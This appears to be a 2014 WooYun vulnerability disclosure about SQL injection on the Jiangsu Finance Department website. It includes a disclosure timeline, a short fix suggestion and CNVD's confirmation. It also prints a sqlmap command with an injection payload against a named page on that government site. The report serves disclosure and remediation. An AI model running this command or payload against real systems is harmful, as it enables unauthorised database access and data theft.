江苏省财政厅SQL注射漏洞

漏洞详情

披露状态:

2014-03-07: 细节已通知厂商并且等待厂商处理中
2014-03-12: 厂商已经确认,细节仅向厂商公开
2014-03-22: 细节向核心白帽子及相关领域专家公开
2014-04-01: 细节向普通白帽子公开
2014-04-11: 细节向实习白帽子公开
2014-04-21: 细节向公众公开

简要描述:

江苏省财政厅 SQL注射 SQLMAP验证

详细说明:

http://www.jscz.gov.cn/pub/jscz/kfcx/

or11.png



or11output.png



C:\Users\Administrator>sqlmap.py -u "www.jscz.gov.cn/pub/message/kjksfscm.jsp" --data="lx=1&zkzh=sf' or '1'='1*&ysnf=2013&Submit=%E6%9F%A5%E8%AF%A2" --tables



sqlmap01.png



没耐心等跑完表,所以直接ctrl+c了

sqlmap02.png

漏洞证明:

C:\Users\Administrator>sqlmap.py -u "www.jscz.gov.cn/pub/message/kjksfscm.jsp" --data="lx=1&zkzh=sf' or '1'='1*&ysnf=2013&Submit=%E6%9F%A5%E8%AF%A2" --tables



sqlmap01.png



没耐心等跑完表,所以直接ctrl+c了

sqlmap02.png

修复方案:

过滤,验证码

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-03-12 14:57

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心处置。

最新状态:

暂无


漏洞评价: